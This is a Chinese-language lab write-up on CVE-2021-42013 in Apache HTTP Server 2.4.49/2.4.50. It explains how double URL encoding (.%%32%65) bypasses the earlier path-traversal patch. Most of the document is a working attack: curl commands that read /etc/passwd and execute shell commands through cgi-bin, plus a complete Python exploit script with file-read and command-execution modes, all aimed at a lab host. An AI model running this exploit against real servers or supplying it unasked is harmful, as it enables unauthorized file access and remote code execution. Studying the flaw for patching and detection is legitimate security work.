漏洞信息
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2021-42013 |
| 漏洞名称 | Apache HTTP Server 路径穿越绕过漏洞 |
| 影响版本 | Apache HTTP Server 2.4.49、2.4.50 |
| 靶场版本 | Apache HTTP Server 2.4.50 |
| 漏洞类型 | 路径穿越 / 任意文件读取 / RCE |
| 靶机地址 | http://192.168.229.60:8080 |
漏洞原理
CVE-2021-42013 是 CVE-2021-41773 的补丁绕过。
-
Apache 2.4.49 存在路径穿越漏洞,可通过
.%2e绕过路径检查 -
Apache 2.4.50 对
.%2e进行了修复,但修复不完整 -
攻击者可以使用 双重 URL 编码
.%%32%65绕过补丁检测 -
同样,如果开启了
mod_cgi/mod_cgid,可进一步实现 RCE
绕过链:
%2e → . (单次解码)
%%32%65 → %2e → . (双重解码)
攻击步骤
Step 1:验证服务
curl -v http://192.168.229.60:8080/
预期:HTTP 200,页面显示 It works!
Step 2:路径穿越 --- 读取 /etc/passwd
curl -v --path-as-is 'http://192.168.229.60:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
预期:读取到 /etc/passwd 文件内容
Step 3:RCE --- 命令执行
curl -v --data "echo;id" 'http://192.168.229.60:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
预期:返回 uid=1(daemon) gid=1(daemon) groups=1(daemon)

Python版完整利用脚本
#!/usr/bin/env python3
import requests
import sys
TARGET = "http://192.168.229.60:8080"
def read_file(path):
"""任意文件读取"""
url = f"{TARGET}/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65{path}"
r = requests.get(url, allow_redirects=False)
if r.status_code == 200:
return r.text
return None
def exec_cmd(cmd):
"""RCE 命令执行"""
url = f"{TARGET}/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
r = requests.post(url, data=f"echo;{cmd}", allow_redirects=False)
if r.status_code == 200:
return r.text
return None
if __name__ == "__main__":
if len(sys.argv) > 1:
# python3 exploit.py exec "id"
if sys.argv[1] == "exec":
print(exec_cmd(" ".join(sys.argv[2:])))
elif sys.argv[1] == "read":
print(read_file(sys.argv[2]))
else:
# 默认:读取passwd + 执行id
print("=== /etc/passwd ===")
print(read_file("/etc/passwd"))
print("\n=== id ===")
print(exec_cmd("id"))
关键要点总结
-
✅ CVE-2021-42013 是 CVE-2021-41773 的补丁绕过,影响 2.4.49 和 2.4.50
-
✅ 使用
.%%32%65(双重URL编码)代替.%2e绕过路径检查 -
⚠️
%2e→.,%%32%65→%2e→.,Apache 只做了一层解码校验但两层解码处理 -
✅
/icons/必须是一个存在且可访问的目录才能触发穿越 -
✅ 需要
mod_cgi或mod_cgid模块开启才能 RCE -
⚠️ CVE-2021-42013 还有更多变种:
%%%32%65、.%%32%65等不同编码组合